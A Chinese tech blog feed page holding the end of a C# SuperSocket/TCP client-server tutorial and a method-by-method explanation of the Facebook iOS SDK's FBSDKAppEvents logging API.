    static void appServer_NewSessionConnected(AppSession session)
    {
        var count = appServer.SessionCount;
        Console.WriteLine($"服务端得到来自客户端的连接成功 ,当前会话数量:" + count); 
        //这里也可以向会话的stream里写入数据,如果在这里向流写入数据,则客户端需要在Send之前先接收一次,不然的话,Send后接收的就是这条数据了
        session.Send("连接成功");
    }
    static void appServer_NewSessionClosed(AppSession session, CloseReason aaa)
    {
        var count = appServer.SessionCount;
        Console.WriteLine($"服务端 失去 来自客户端的连接" + session.SessionID + aaa.ToString()+ " 当前会话数量:" + count);
    }
    static void appServer_NewRequestReceived(AppSession session, StringRequestInfo requestInfo)
    {
        Console.WriteLine($"Key:" + requestInfo.Key + $" Body:" + requestInfo.Body);
        session.Send("我是返回值:" + requestInfo.Body);
    }

}

AppServer:AppServer是SuperSocket中定义的Socket服务类,他替我们实现了复杂的端口监听,不用再写While循环,不用再关心线程阻塞的问题,在监听端口在这里,我们只要调用AppServer的对象的Start方法,就可以了;AppServer还提供了一个配置文件类—ServerConfig,通过它,我们可以配置具体监听的端口、并发数量、编码、最大传输字节数、传输模式(TCP/UDP)等等属性;此外还提供三个重要事件:会话连接启动事件(NewSessionConnected)、会话关闭事件(SessionClosed)、请求接受事件(NewRequestReceived)。

注:文中在连接成功的事件中,我们向客户端发送消息了,即,客户端在连接后,发送消息前,需要接收该信息。

创建TCP发送消息客户端

服务建立后,我们建立客户端。

代码如下所示:

static void Main(string[] args)
{
    TCPConnect("127.0.0.1", 5180);   
    Console.ReadKey();
}
static void TCPConnect(String server, Int32 port)
{
    string message = $"ADD kiba518 518" + "\r\n";
    try
    {
        TcpClient client = new TcpClient();
        client.Connect(server, port);
        Byte[] data = System.Text.Encoding.Default.GetBytes(message);
        String responseData = String.Empty;
        NetworkStream stream = client.GetStream();
        byte[] buffer = new byte[1024 * 1024 * 2];
        Int32 bytes = stream.Read(buffer, 0, buffer.Length);
        responseData = System.Text.Encoding.Default.GetString(buffer, 0, bytes);
        Console.WriteLine("接收服务器在连接事件中写入的数据: {0}", responseData);
        stream.Write(data, 0, data.Length);
        Console.WriteLine("发送数据: {0}", message);
        data = new Byte[256];
        bytes = stream.Read(buffer, 0, buffer.Length);
        responseData = System.Text.Encoding.Default.GetString(buffer, 0, bytes);
        Console.WriteLine("接收返回值: {0}", responseData);
        stream.Close();
        client.Close();
    }
    catch (ArgumentNullException e)
    {
        Console.WriteLine("ArgumentNullException: {0}", e.Message);
    }
    catch (SocketException e)
    {
        Console.WriteLine("SocketException: {0}", e.Message);
    }
    Console.Read();
}

代码很简单,就是使用TcpClient连接服务器的IP和端口,然后发送消息。

因为我们使用的SuperSocket,有格式要求,所以我们需要准守。

格式要求如下:

命令名称+空格+参数+参数+...参数+"\r\n"

对应的字符串如下:

$"ADD kiba518 518" + "\r\n"

因为上文中,服务在连接成功后就向客户端发送的流中写入了数据,所以,我们在Send消息前,先接收一下流中的数据。

客户端与服务联调

先运行服务,在运行客户端,结果服务端与客户端成功的完成了一次通信,如下图所示:

为了更清晰的了解通信内容,我们在服务接收消息事件中断点,如下图:

可以看到参数requestInfo完整的解析了我们发送的字符串【"ADD kiba518 518" + "\r\n"】。

创建配置模式的SuperSocket服务

现在我们创建一个配置模式的SuperSocket服务,这种模式客户通过配置创建多个SuperSocket,即可以在一个项目里通过配置监听多个端口,这里,我们只做一个端口监听的配置例子。

与实例模式的开始一样,先创建一个控制台程序,然后Nuget添加引用SuperSocket.Engine。

然后进行三步操作。

1、编写Main函数,启动SuperSocket,通过启动引导工厂BootstrapFactory实例化一个启动引导对象,然后初始化化,该初始化会遍历当前项目中所有继承了AppServer的类,然后调用他们的Start方法,代码如下所示:

static void Main(string[] args)
{
    #region 初始化Socket
    IBootstrap bootstrap = BootstrapFactory.CreateBootstrap();
    if (!bootstrap.Initialize())
    {
        Console.WriteLine(DateTime.Now + ":Socket初始化失败\r\n");
        return;
    }
    var result = bootstrap.Start();
    foreach (var server in bootstrap.AppServers)
    {
        if (server.State == ServerState.Running)
        {
            Console.WriteLine(DateTime.Now + ":serverName为:" + server.Name + "Socket运行中\r\n");
             
        }
        else
        {
            Console.WriteLine(DateTime.Now + ":serverName为:" + server.Name + "Socket启动失败\r\n");
        }
    }
    Console.ReadKey();
    #endregion
}

2、修改App.config配置文件,在configuration节点下,增加superSocket的section,并配置superSocket,代码如下:

<configSections>
    <section name="superSocket" type="SuperSocket.SocketEngine.Configuration.SocketServiceConfig, SuperSocket.SocketEngine" />
  </configSections>
  <!--配置SocketServer路径-->
  <superSocket>
    <servers>
  <!-- serverType属性有两个参数,第一个是服务类的完全限定名,第二个是服务类的命名空间 -->
      <server name="MySocket" textEncoding="gb2312"
              serverType="SuperSocketServerSessionMode.SocketServer, SuperSocketServerSessionMode"
             ip="Any" port="5180" maxConnectionNumber="100">
      </server>
    </servers>
</superSocket>

3、创建SocketServer类、SocketSession类、SocketCommand类。

SocketServer类:继承泛型AppServer(其泛型类指定一个会话类)该类用于创建SuperSocket的服务并监听端口;其Setup方法,默认读取App.config配置文件中的superSocket节点—servers节点—server节点;读取时根据server的serverType属性匹配读取。

public class SocketServer : AppServer<SocketSession>
{
    protected override bool Setup(IRootConfig rootConfig, IServerConfig config)
    {
        Console.WriteLine("正在准备配置文件");
        return base.Setup(rootConfig, config);
    }
    protected override void OnStarted()
    {
        Console.WriteLine("服务已开始");
        base.OnStarted();
    }
    protected override void OnStopped()
    {
        Console.WriteLine("服务已停止");
        base.OnStopped();
    }
    protected override void OnNewSessionConnected(SocketSession session)
    {
        Console.WriteLine("新的连接地址为" + session.LocalEndPoint.Address.ToString() + ",时间为" + DateTime.Now);
        base.OnNewSessionConnected(session);
    }
}

SocketSession类:继承AppSession,是SuperSocket的会话类。

如果客户端所发送的消息不合法,则会被会话的HandleUnknownRequest函数截获,如果合法,则发送到指定的命令类中。

代码如下:

public class SocketSession : AppSession<SocketSession>
{
    public override void Send(string message)
    {
        Console.WriteLine("发送消息:" + message);
        base.Send(message);
    }
    protected override void OnSessionStarted()
    {
        Console.WriteLine("Session已启动"); 
        base.OnSessionStarted();
    }
    protected override void OnInit()
    {
        this.Charset = Encoding.GetEncoding("gb2312");
        base.OnInit();
    }
    protected override void HandleUnknownRequest(StringRequestInfo requestInfo)
    {
        Console.WriteLine($"遇到未知的请求 Key:" + requestInfo.Key + $" Body:" + requestInfo.Body);
        base.HandleUnknownRequest(requestInfo);
    }   
}

SocketCommand类:是SuperSocket的命令类,定义明确的会话命令;类名即客户端发送消息的第一个空格前的字符串。

代码如下:

public class SocketCommand : CommandBase<SocketSession, StringRequestInfo>
{
    public override void ExecuteCommand(SocketSession session, StringRequestInfo requestInfo)
    {
        //根据参数个数或者其他条件判断,来进行一些自己的操作
        Console.WriteLine($"调用成功 Key:" + requestInfo.Key + $" Body:" + requestInfo.Body);
        session.Send("已经成功接收到你的请求\r\n");
    }
}

创建配置模式的SuperSocket客户端

创建一个配置模式的SuperSocket客户端,这一次我们使用Socket类创建。

代码如下:

static Socket socketClient { get; set; }
 static void Main(string[] args)
 {
    socketClient = new Socket(SocketType.Stream, ProtocolType.Tcp);
    IPAddress ip = IPAddress.Parse("127.0.0.1");
    IPEndPoint point = new IPEndPoint(ip, 5180);
    socketClient.Connect(point);
    Thread thread = new Thread(Recive); //不停的接收服务器端发送的消息
    thread.Start();
    Thread thread2 = new Thread(Send);//不停的给服务器发送数据
    thread2.Start();
 }
 static void Recive()
 {
    while (true)
    {
        //获取发送过来的消息
        byte[] buffer = new byte[1024 * 1024 * 2];
        var effective = socketClient.Receive(buffer);
        if (effective == 0)
        {
            break;
        }
        var str = Encoding.Default.GetString(buffer, 0, effective);
        Console.WriteLine("服务器 --- " + str);
        Thread.Sleep(2000);
    }
 }
 static void Send()
 {
    int i = 0;int param1 = 0;int param2 = 0;
    while (true)
    {
        i++;param1 = i + 1;param2 = i + 2;
        Console.WriteLine($"Send  i:{i}  param1:{param1} param2:{param2}");
        string msg = $"SocketCommand {param1} {param2}" + "\r\n";
        Console.WriteLine($"msg:{msg}");
        var buffter = Encoding.Default.GetBytes(msg);
        var temp = socketClient.Send(buffter);
        Console.WriteLine($"Send  发送的字节数:{temp} ");
        Thread.Sleep(1000);
    }
}

可以看到Socket的使用方式与Tcp的使用方式几乎相同,都是指定IP和端口号,只是Socket多了一步,需要指定协议类型ProtocolType,这里我们指定了是TCP。

客户端与服务联调

先运行服务,在运行客户端,结果通信成功,如下图所示:

到此TCP、Sokcket和SuperSocket的基本使用已经介绍完了,代码已经传到Github上了,欢迎大家下载。

代码已经传到Github上了,欢迎大家下载。

项目地址

Github:github.com/kiba518/Sup…

最后

如果你觉得这篇文章对你有帮助,不妨点个赞支持一下!你的支持是我继续分享知识的动力。如果有任何疑问或需要进一步的帮助,欢迎随时留言。

也可以加入微信公众号 [DotNet技术匠] 社区,与其他热爱技术的同行一起交流心得,共同成长!

优秀是一种习惯,欢迎大家留言学习!

作者:kiba518

出处:cnblogs.com/kiba/p/13728088.html

声明:网络内容,仅供学习,尊重版权,侵权速删,歉意致谢!

by 小码编匠 at January 24, 2025 07:50 AM

juejin ios

FB上报事件全解析FBSDKAppEvents && FBSDKAppEventParameterName

FBSDKAppEvents 是 FB SDK 中用来处理和上报应用内事件的类。它支持多种预定义的事件,也支持自定义事件。通过这些事件,你可以收集用户行为数据,并向 FB 报告这些数据,用于广告优化、转化跟踪、受众分析等。

FBSDKAppEvents

该类是 FB SDK 提供的用于记录应用内事件的核心类。它允许你跟踪应用中的用户行为(如购买、登录等),并且将这些行为数据发送给 FB 服务器,用于分析和广告优化。


@interface FBSDKAppEvents : NSObject <
FBSDKEventLogging, // 事件日志记录协议
FBSDKAppEventsConfiguring, // 配置事件的协议
FBSDKApplicationActivating, // 应用激活协议
FBSDKApplicationLifecycleObserving, // 观察应用生命周期的协议
FBSDKApplicationStateSetting, // 设置应用状态协议
FBSDKSourceApplicationTracking, // 追踪来源应用协议
FBSDKUserIDProviding // 提供用户 ID 协议
>

属性

  1. shared - 获取共享实例

@property (class, nonatomic, readonly, strong) FBSDKAppEvents *shared;

该属性是 FBSDKAppEvents 类的共享实例,用于获取唯一的全局实例。在大多数情况下,你会通过 AppEvents.sharedFBSDKAppEvents.shared 来访问这个实例。

  1. flushBehavior - 控制事件刷新行为

@property (nonatomic) FBSDKAppEventsFlushBehavior flushBehavior;

该属性用于设置事件的刷新行为(即什么时候将缓存的事件数据发送到 FB 服务器)。可以设置为不同的刷新策略,如立即刷新、批量刷新或延时刷新。

  1. loggingOverrideAppID - 用于设置覆盖的 App ID,用于区分登录与应用事件日志记录。

@property (nullable, nonatomic, copy) NSString *loggingOverrideAppID;

说明:

  • 功能:此属性用于设置“覆盖”的 FB 应用 ID,专门用于应用事件(App Event)日志记录。在某些情况下,应用程序可能希望使用一个 FB 应用 ID 进行登录和社交互动,而使用另一个 FB 应用 ID 来记录应用事件。例如,如果同一公司有多个应用程序共享一个登录用的 App ID,但希望为每个应用程序分别记录不同的事件数据时,就可以使用该属性。
  • 默认行为:该属性默认为 nil,即默认情况下,SDK 会使用 FBSDKAppEventsOverrideAppIDBundleKey plist 中的值。如果 plist 中没有设置该值,则使用 Settings.shared.appID
  • 使用时机:此属性应该在任何 AppEvents 调用之前进行设置,通常在应用的 application(_:didFinishLaunchingWithOptions:) 方法中设置。 适用场景:
  • 多应用共享 App ID 登录:当多个应用程序共享一个 FB 应用 ID 用于用户登录,但希望分别记录每个应用程序的事件数据时,可以使用 loggingOverrideAppID 来指定不同的 App ID。
  • 需要区分日志记录的场景:如果开发者需要区分不同应用的事件日志,但这些应用使用相同的登录 App ID,可以通过此属性设置独立的事件记录 ID。
  1. userID - 用于设置与应用事件关联的自定义用户 ID。

@property (nullable, nonatomic, copy) NSString *userID;

说明:

  • 功能:该属性用于设置一个自定义的用户 ID,并将该 ID 与所有的应用事件关联。这个用户 ID 会被用来标识应用事件中的用户,并且在事件日志中将持续关联该 ID,直到通过将 nil 赋值来清除它。
  • 持久化:该用户 ID 会在应用中持久化存储,直到开发者显式地将其清除。 适用场景:
  • 自定义用户标识:如果你有一个自定义的用户标识符(比如用户在你系统中的 ID),你可以通过这个属性将它与应用事件关联起来。
  • 用户 ID 持久化:如果你希望记录用户的跨会话行为,可以使用该属性来持久化用户的 ID,以便于在后续的应用事件中持续使用相同的 ID。
  1. anonymousID - 是由 SDK 自动生成的匿名 ID,用于设备级别的用户标识和行为追踪。

@property (nonatomic, readonly) NSString *anonymousID;

说明:

  • 功能:该属性返回一个由 SDK 生成的匿名 ID,它与应用当前的安装实例相关联。每个用户的设备在安装应用时会生成一个唯一的匿名 ID。
  • 持久化:这个匿名 ID 会随着应用的安装而被持久化存储。如果用户卸载并重新安装应用,匿名 ID 将会被重新生成。 适用场景:
  • 匿名用户跟踪:当应用尚未要求用户登录时,你可以使用这个匿名 ID 来跟踪用户的行为。它帮助开发者识别每个设备上的唯一用户(即使没有登录)。
  • 跨会话跟踪:匿名 ID 可以在用户没有登录的情况下,追踪用户的行为,尤其适用于那些只通过匿名方式使用应用的用户。

方法

  1. logEvent: - 记录事件

- (void)logEvent:(NSString *)eventName;

该方法用于记录一个简单的事件。eventName 是事件的名称,最大长度为 40 个字符。你可以用它来记录应用中的行为事件(如用户登录、购买等)。

参数说明:

  • eventName: 要记录的事件名称(例如 "Purchase", "LevelUp" 等)。
  1. logEvent:valueToSum: - 记录带数值的事件

- (void)logEvent:(NSString *)eventName valueToSum:(double)valueToSum;

该方法用于记录带数值的事件。valueToSum 通常用于聚合数值型事件,如购买金额或得分等。

参数说明:

  • eventName: 要记录的事件名称(例如 "Purchase", "LevelUp" 等)。
  • valueToSum: 事件的数值,例如购买金额、得分等。
  1. logEvent:parameters: - 记录带参数的事件

- (void)logEvent:(NSString *)eventName parameters:(NSDictionary<NSString *, id> *)parameters;

该方法用于记录带有额外参数的事件,允许你传递一些键值对来描述事件的具体内容(例如用户的级别、购买的物品等)。

参数说明:

  • eventName: 要记录的事件名称(例如 "Purchase", "LevelUp" 等)。
  • parameters: 事件的附加参数,使用字典传递键值对。例如 {@"level": @"5", @"userType": @"premium"}。
  1. logEvent:valueToSum:parameters: - 记录事件名称、数值和参数字典

- (void)logEvent:(FBSDKAppEventName)eventName
valueToSum:(double)valueToSum
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters;

// 记录一个包含金额和额外信息的事件
NSDictionary *parameters = @{@"productID": @"12345", @"category": @"electronics"};
[self logEvent:@"Purchase" valueToSum:100.0 parameters:parameters];

该方法用于记录一个事件,除了事件名称外,还可以附带一个数值(进行聚合)和一个参数字典(提供更多的上下文)。这是一个组合型的方法,适用于需要同时记录数值和额外数据的事件。

参数说明:

  • eventName: 要记录的事件名称(例如 "Purchase", "LevelUp" 等)。
  • valueToSum : 数值型参数,表示与其他相同事件名称的事件进行聚合的数值。
  • parameters: 事件的附加参数,使用字典传递键值对,可以为空。。例如 {@"level": @"5", @"userType": @"premium"}。
  1. logEvent:valueToSum:parameters:accessToken: - 记录事件名称、数值、参数字典,并指定访问令牌

- (void)logEvent:(FBSDKAppEventName)eventName
valueToSum:(nullable NSNumber *)valueToSum
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters
accessToken:(nullable FBSDKAccessToken *)accessToken;

// 记录一个事件,并将其与特定用户的访问令牌关联
NSDictionary *parameters = @{@"productID": @"12345"};
FBSDKAccessToken *accessToken = [FBSDKAccessToken currentAccessToken];
[self logEvent:@"Purchase" valueToSum:@100.0 parameters:parameters accessToken:accessToken];

该方法用于记录一个事件,包含事件名称、数值、附加参数以及一个可选的访问令牌。访问令牌允许你将该事件与特定用户关联,并在用户授权下进行日志记录。

参数说明:

  • eventName: 要记录的事件名称(例如 "Purchase", "LevelUp" 等)。
  • valueToSum : 数值型参数,表示与其他相同事件名称的事件进行聚合的数值(可以为空)。
  • parameters: 事件的附加参数,使用字典传递键值对,可以为空。。例如 {@"level": @"5", @"userType": @"premium"}。
  • accessToken : 一个可选的 FBSDKAccessToken,用于将事件与特定用户的 FB 账户关联。如果提供访问令牌,事件将作为该用户的事件进行记录。

  1. logPurchase:currency: - 记录指定金额和货币的购买事件

- (void)logPurchase:(double)purchaseAmount currency:(NSString *)currency
NS_SWIFT_NAME(logPurchase(amount:currency:));


[self logPurchase:100.0 currency:@"USD"];


记录一次购买事件,包含购买金额和货币类型。这个方法不会附加额外的参数。

参数说明:

  • purchaseAmount: 购买的金额(double 类型)。这个值会四舍五入到小数点后三位(例如:12.34567 会变成 12.346)。
  • currency: 购买使用的货币,类型为字符串(例如:"USD"、"EUR"、"GBP" 等)。使用符合 ISO-4217 标准的货币代码。
  1. logPurchase:currency:parameters: - 记录购买金额、货币以及附加参数

- (void)logPurchase:(double)purchaseAmount
currency:(NSString *)currency
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters
NS_SWIFT_NAME(logPurchase(amount:currency:parameters:));

// 记录购买事件,并添加额外的参数(例如产品ID、类别等),提供更详细的事件数据。
NSDictionary *parameters = @{@"productID": @"12345", @"category": @"electronics"};
[self logPurchase:100.0 currency:@"USD" parameters:parameters];

记录一次购买事件,包含购买金额、货币类型和附加的参数信息。这些附加参数可以是购买的额外特征(例如商品类别、数量等)。

参数说明:

  • purchaseAmount: 购买的金额(double 类型)。这个值会四舍五入到小数点后三位(例如:12.34567 会变成 12.346)。
  • currency: 购买使用的货币,类型为字符串(例如:"USD"、"EUR"、"GBP" 等)。使用符合 ISO-4217 标准的货币代码。
  • parameters: 一个字典,包含购买事件的额外信息(如商品ID、产品类型等)。字典的键是 NSString 类型,值可以是 NSStringNSNumber 类型。
  1. logPurchase:currency:parameters:accessToken: - 记录购买金额、货币、附加参数,并指定访问令牌

- (void)logPurchase:(double)purchaseAmount
currency:(NSString *)currency
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters
accessToken:(nullable FBSDKAccessToken *)accessToken
NS_SWIFT_NAME(logPurchase(amount:currency:parameters:accessToken:));


// 记录购买事件,并将该事件与指定的用户(通过 accessToken)关联,适用于需要用户身份信息的场景。
NSDictionary *parameters = @{@"productID": @"12345", @"category": @"electronics"};
FBSDKAccessToken *accessToken = [FBSDKAccessToken currentAccessToken];
[self logPurchase:100.0 currency:@"USD" parameters:parameters accessToken:accessToken];

记录一次购买事件,包含购买金额、货币类型和附加的参数信息。这些附加参数可以是购买的额外特征(例如商品类别、数量等)。

参数说明:

  • purchaseAmount: 购买的金额(double 类型)。这个值会四舍五入到小数点后三位(例如:12.34567 会变成 12.346)。
  • currency: 购买使用的货币,类型为字符串(例如:"USD"、"EUR"、"GBP" 等)。使用符合 ISO-4217 标准的货币代码。
  • parameters: 一个字典,包含购买事件的额外信息(如商品ID、产品类型等)。字典的键是 NSString 类型,值可以是 NSStringNSNumber 类型。
  • accessToken : 一个可选的 FBSDKAccessToken,用于将事件与特定用户账户关联。若传入,事件将记录为该用户的事件。

说明:

  • 四舍五入处理:所有的购买金额都会在传递给方法之前进行四舍五入,保留到小数点后三位。这是为了确保金额数据的精确性。
  • 货币类型:currency 字符串必须符合 ISO-4217 标准,用于表示不同的货币类型(例如 USD、EUR、GBP)。这对于全球化应用非常重要,确保事件数据的一致性和准确性。
  • 附加参数:parameters 是一个字典,允许你在记录购买事件时添加更多详细信息,如产品ID、购买类别等。这些数据可以帮助你分析和优化广告投放、购买行为等。
  • 访问令牌:accessToken 是可选的,它可以将购买事件与特定用户的 FB 账户关联,这在个性化广告和分析中非常有用。

  1. logPushNotificationOpen: - 记录推送通知打开事件

- (void)logPushNotificationOpen:(NSDictionary<NSString *, id> *)payload
NS_SWIFT_NAME(logPushNotificationOpen(payload:));

// 记录一个事件,表示应用通过推送通知被打开。
NSDictionary *payload = ...; // 推送通知的载荷
[self logPushNotificationOpen:payload];

这个方法用于记录当应用通过推送通知被打开时的事件。

参数说明:

  • payload: 通过 UIApplicationDelegate 接收到的通知载荷,它包含了推送通知的详细信息。
  1. logPushNotificationOpen:action: - 这个方法除了记录应用打开外,还记录了用户从推送通知中采取的特定操作。

- (void)logPushNotificationOpen:(NSDictionary<NSString *, id> *)payload action:(NSString *)action
NS_SWIFT_NAME(logPushNotificationOpen(payload:action:));


// 记录一个事件,表示应用通过推送通知被打开并且执行了一个自定义操作。
NSDictionary *payload = ...; // 推送通知的载荷
NSString *action = @"view"; // 例如,“查看”操作
[self logPushNotificationOpen:payload action:action];

这个方法用于记录当应用通过推送通知被打开时的事件。还记录了用户从推送通知中采取的特定操作。

参数说明:

  • payload: 通过 UIApplicationDelegate 接收到的通知载荷,它包含了推送通知的详细信息。
  • action: 用户采取的操作名称(例如“查看”、“购买”等)。
  1. logProductItem: availability: - 记录产品项事件

- (void)logProductItem:(NSString *)itemID
availability:(FBSDKProductAvailability)availability
condition:(FBSDKProductCondition)condition
description:(NSString *)description
imageLink:(NSString *)imageLink
link:(NSString *)link
title:(NSString *)title
priceAmount:(double)priceAmount
currency:(NSString *)currency
gtin:(nullable NSString *)gtin
mpn:(nullable NSString *)mpn
brand:(nullable NSString *)brand
parameters:(nullable NSDictionary<NSString *, id> *)parameters
NS_SWIFT_NAME(logProductItem(id:availability:condition:description:imageLink:link:title:priceAmount:currency:gtin:mpn:brand:parameters:));



// 记录一个事件,上传产品项的详细信息,包括库存、描述、价格等。
[self logProductItem:@"12345"
availability:FBSDKProductAvailabilityInStock
condition:FBSDKProductConditionNew
description:@"一款很棒的产品"
imageLink:@"http://example.com/product.jpg"
link:@"http://example.com/product"
title:@"产品标题"
priceAmount:99.99
currency:@"USD"
gtin:@"123456789012"
mpn:@"MPN12345"
brand:@"品牌名"
parameters:nil];

这个方法用于记录产品项的详细信息,并上传到应用事件系统。

参数说明:

  • itemID: 产品的唯一标识符。
  • availability: 产品的库存状态(如“有货”、“缺货”、“预售”等)。
  • condition: 产品的状态(如“全新”、“翻新”、“二手”)。
  • description: 产品的简短描述。
  • imageLink: 产品的图片链接。
  • link: 购买该产品的网站链接。
  • title: 产品的标题。
  • priceAmount: 产品的价格。
  • currency: 产品价格的货币类型(如USD、EUR)。
  • gtin, mpn, brand: 可选参数,涉及产品的全球贸易项目编号(GTIN)、制造商产品编号(MPN)和品牌名称。
  • parameters: 可选的深度链接参数。
  1. activateApp - 记录应用激活事件

- (void)activateApp;


// 记录一个事件,表示应用已经被激活,跟踪首次启动和会话信息。
[self activateApp];

这个方法用于记录当应用通过推送通知被打开时的事件。

描述:

  • 这个方法用于记录一个“应用激活”事件,表示应用已经被启动。
  • 自动行为: 默认情况下,当应用变为活跃状态时(通过 FBSDKApplicationDelegateapplicationDidBecomeActive 方法),会自动记录此事件,除非在应用的 plist 文件中将 FacebookAutoLogAppEventsEnabled 设置为 false
  • 自定义行为: 如果设置了 FacebookAutoLogAppEventsEnabledfalse,可以在应用代理的 applicationDidBecomeActive 方法中手动调用此方法。
  • 其他功能:
    • 该事件也会跟踪应用是否是第一次启动(有助于用户获取跟踪)。
    • 在应用从后台重新激活时,会记录会话时长、中断等指标。

  1. setPushNotificationsDeviceToken: - 设置推送通知设备令牌

- (void)setPushNotificationsDeviceToken:(nullable NSData *)deviceToken;

// 设置并发送设备令牌,以注册应用的推送通知功能。

该方法用于注册应用程序接收推送通知。传入一个设备令牌(deviceToken),它是从 UIApplicationDelegate 中通过 didRegisterForRemoteNotificationsWithDeviceToken 方法获取的设备令牌数据。

参数说明:

  • deviceToken: 推送通知的设备令牌,以 NSData 格式传入。
  1. setPushNotificationsDeviceTokenString: - 设置推送通知设备令牌字符串

- (void)setPushNotificationsDeviceTokenString:(nullable NSString *)deviceTokenString;

// 设置并发送设备令牌字符串,以注册应用的推送通知功能。

该方法用于接收推送通知的设备令牌,传入的是一个字符串形式的设备令牌。

参数说明:

  • deviceTokenString: 设备令牌的字符串表示。
  1. flush - 刷新事件到 FB

- (void)flush;

// 强制将应用内的所有事件立即推送到 FB 服务器。

  • 该方法用于强制将所有事件数据刷新到 FB 服务器。这是一个异步方法,但会立即启动。
  • 如果发生服务器故障,结果会通过通知 FBSDKAppEventsLoggingResultNotification 发送。
  1. requestForCustomAudienceThirdPartyIDWithAccessToken: - 请求 FB 自定义受众的第三方 ID

- (nullable FBSDKGraphRequest *)requestForCustomAudienceThirdPartyIDWithAccessToken:(nullable FBSDKAccessToken *)accessToken;

// 创建请求以获取 FB 用户的自定义受众第三方 ID,用于 FB 广告定向。

  • 创建一个请求,调用 FB Graph API 获取指定 FB 用户的自定义受众 "第三方 ID"。
  • 该 ID 是 FB 用户的 ID 和调用应用 ID 的加密表示,用于 FB 自定义受众广告的创建。

参数说明:

  • accessToken: 指定的访问令牌,用于确定用户身份。如果为 nil,则使用 AccessToken.current
  1. setUserEmail: - 设置用户自定义数据

- (void)setUserEmail:(nullable NSString *)email
firstName:(nullable NSString *)firstName
lastName:(nullable NSString *)lastName
phone:(nullable NSString *)phone
dateOfBirth:(nullable NSString *)dateOfBirth
gender:(nullable NSString *)gender
city:(nullable NSString *)city
state:(nullable NSString *)state
zip:(nullable NSString *)zip
country:(nullable NSString *)country;

// 设置自定义用户数据(如电子邮件、电话、出生日期等),以便与应用事件关联。

  • 该方法用于设置与应用事件相关的自定义用户数据。这些数据将在 FB 上加密并用于匹配用户。
  • 用户数据将持久化,跨应用实例保持一致。

参数说明:

  • email: 用户的电子邮件。
  • firstName: 用户的名字。
  • lastName: 用户的姓氏。
  • phone: 用户的电话号码。
  • dateOfBirth: 用户的出生日期。
  • gender: 用户的性别。
  • city: 用户所在的城市。
  • state: 用户所在的州(如果适用)。
  • zip: 用户所在的邮政编码。
  • country: 用户所在的国家。
  1. getUserData - 获取用户数据

- (nullable NSString *)getUserData;

// 获取已设置的用户数据。

  • 该方法用于获取已设置的用户数据。如果没有设置数据,则返回 nil。
  1. clearUserData - 清除用户数据

- (void)clearUserData;

// 清除已存储的用户数据。

  • 该方法用于清除当前存储的所有用户数据。
  1. setUserData:forType: - 设置特定类型的用户数据

- (void)setUserData:(nullable NSString *)data
forType:(FBSDKAppEventUserDataType)type;

// 设置特定类型的用户数据(如电子邮件、电话号码等)用于 FB 匹配。

  • 该方法用于为特定类型的用户数据设置值。数据会被加密并用于 FB 匹配用户。

参数说明:

  • data: 用户数据。
  • type: 数据类型,例如 FBSDKAppEventEmailFBSDKAppEventPhone 等,表示数据的具体类型。
  1. clearUserDataForType: - 清除特定类型的用户数据

- (void)clearUserDataForType:(FBSDKAppEventUserDataType)type;

// 清除指定类型的用户数据。

  • 该方法用于清除特定类型的用户数据,例如清除电子邮件或电话号码数据。

参数说明:

  • type: 数据类型,例如 FBSDKAppEventEmailFBSDKAppEventPhone 等,表示数据的具体类型。
  1. augmentHybridWebView: - 增强 WebView 支持

- (void)augmentHybridWebView:(WKWebView *)webView;

// 向 WebView 注入 JavaScript 对象,支持 FB Pixel 事件的传递。

  • 该方法用于增强混合 Web 应用的 WebView,向其中注入 JavaScript 对象。如果 WebView 内部使用了 FB Pixel,且引用了该应用的 App ID,FB 会自动检测该 JavaScript 对象并通过 AppEvents 框架将 Pixel 事件记录到 FB。

参数说明:

  • webView: 要增强的 WKWebView 实例。
  1. setIsUnityInitialized: - Unity 辅助功能

- (void)setIsUnityInitialized:(BOOL)isUnityInitialized;

// 设置 Unity 是否已经初始化。

  • 该方法用于设置 Unity 是否已经初始化。

参数说明:

  • isUnityInitialized: 是否已初始化 Unity,传入布尔值。
  1. sendEventBindingsToUnity: - 将事件绑定发送到 Unity

- (void)sendEventBindingsToUnity;

// 将事件绑定发送到 Unity。

  • 该方法用于将事件绑定发送到 Unity,确保 Unity 中的事件可以正确处理。

  1. logInternalEvent:parameters:isImplicitlyLogged: - SDK 内部的事件跟踪,开发者不应直接调用它

- (void)logInternalEvent:(FBSDKAppEventName)eventName
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters
isImplicitlyLogged:(BOOL)isImplicitlyLogged;

// 内部使用,禁止外部调用。
// 此 API 可能会更改或删除,不要使用。

  • 这是一个内部方法,用于记录应用内的事件。该方法主要用于 SDK 内部的事件跟踪,开发者不应直接调用它。
  • 它可以通过 eventName 来指定事件名称,parameters 用来附加额外的参数,isImplicitlyLogged 用来指示该事件是否是隐式记录的。

参数说明:

  • eventName: 事件名称,类型为 FBSDKAppEventName
  • parameters: 事件的附加参数,使用字典 (NSDictionary) 格式,键值对用于传递事件相关信息。
  • isImplicitlyLogged: 布尔值,指示事件是否是隐式记录的。
  1. logInternalEvent:parameters:isImplicitlyLogged:accessToken: - 另一个用于记录事件的内部方法,开发者不应直接调用它

- (void)logInternalEvent:(FBSDKAppEventName)eventName
parameters:(nullable NSDictionary<FBSDKAppEventParameterName, id> *)parameters
isImplicitlyLogged:(BOOL)isImplicitlyLogged
accessToken:(nullable FBSDKAccessToken *)accessToken;


// 内部使用,禁止外部调用。
// 此 API 可能会更改或删除,不要使用。

  • 这是另一个用于记录事件的内部方法。与上一个方法类似,但这个方法还支持传入 accessToken,用于标识特定 FB 用户(如果需要)。
  • 用法与第一个方法类似,但它允许提供一个额外的参数 accessToken,用于指定用户身份。

参数说明:

  • eventName: 事件名称,类型为 FBSDKAppEventName
  • parameters: 事件的附加参数,使用字典 (NSDictionary) 格式,键值对用于传递事件相关信息。
  • isImplicitlyLogged: 布尔值,指示事件是否是隐式记录的。
  • accessToken: 指定的 FBSDKAccessToken,如果提供,事件将与该 FB 用户相关联。
  1. flushForReason: - 刷新或强制推送所有待处理的事件到 FB 服务器,开发者不应直接调用它

- (void)flushForReason:(FBSDKAppEventsFlushReason)flushReason;


  • 该方法用于刷新或强制推送所有待处理的事件到 FB 服务器。通常,在某些情况下(例如,完成一组事件记录后),应用会需要手动刷新数据以确保事件被及时处理。
